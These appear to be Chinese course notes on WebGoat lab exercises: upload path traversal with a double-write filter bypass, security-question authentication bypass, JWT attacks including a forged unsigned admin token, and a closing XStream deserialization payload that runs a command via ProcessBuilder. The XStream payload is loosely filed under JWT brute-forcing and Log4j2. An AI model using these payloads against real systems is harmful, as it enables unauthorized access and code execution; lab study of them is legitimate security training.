
#知识点:
1、JavaWeb常见安全及代码逻辑
通过URL信息来对应源码文件。没有代码的情况下很难渗透。
2、目录遍历&身份验证&逻辑&JWT
3、访问控制&安全组件&越权&三方组件
• https://blog.csdn.net/Petrichoryi/article/details/105930751
• 压缩到jar包里面。
• 如何启动:安装jdk,运行java.exe -jar webgoat --server.port= 9091
•
• java -jar webgoat-server-8.1.0.jar --server.port=8091
访问ip+WebGoat/login.html,注册账号登录就可以了。

目录遍历:
解决问题:当前目录不能执行,上传至别的目录进行执行脚本
上传上去的地址:

目标地址:

抓取上传数据包:

找到相对应触发的代码段:

关键代码:
publicAttackResultuploadFileHandler(@RequestParam("uploadedFile")MultipartFilefile,@RequestParam(value="fullName",required=false)StringfullName){
returnsuper.execute(file,fullName);
}
接受uploadedfile
对应抓包:

把test修改为1后,发现返回数据包:

把fullname修改为:

成功过关。
第三关,用同样的方式没有用了,打开相对应的代码,发现关键的过滤:

但是这个过滤知识一次性的,并不是很严格。
双写绕过:

解决问题:当前上传的文件所在的文件夹不解析。
身份认证:
认证问题答案,很多选项:
你叫什么名字等等.....只有两个问题
接受键名和键值
s0=xiaodi&s1=湖北 正确
s3=null&s4=null发送数据
s3 s4为空,相当于NULL,那么就能进行绕过。
安全验证:
固定接受的数据:s0 s1判断你的数据 正常
不固定:s0 s1 正常
不固定:s2 s3不在数据库或者变量内,攻击者就能测试。
URL触发连接,访问地址:auth-bypass/verify-account

找到对应的代码段

JWT:
https://www.cnblogs.com/vege/p/14468030.html
三部分构成,以.分隔,出现在cookie上。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
对比cookie
解密平台:https://jwt.io/
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

切换账号,抓包发现:

cookie:eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NDMxOTk5MzYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.C_2nlYK5_bhv5RHnRbPW7sxIkZsaPN-AYX3xBwo3n5PeIzdK7G1-sjJjo8qIaH_JHZVaR7amGQTdNiEjYAkAMg
解密后:

攻击:1.空加密算法 2.爆破 3.KID
1.空加密算法:
生成字符串:算法模式+秘钥(缺一不可)
忽略秘钥生成,需要服务器支持不要秘钥签名(空模式加密)
抓到数据包

找到相对应的代码段发现可以空加密然后用python脚本去写空加密jwt
eyJhbGciOiJub25lIn0.eyJpYXQiOjE1NzM0NzAwMjUsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJKZXJyeSJ9.
2.爆破:
-联想到刚爆出的Log4j2
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
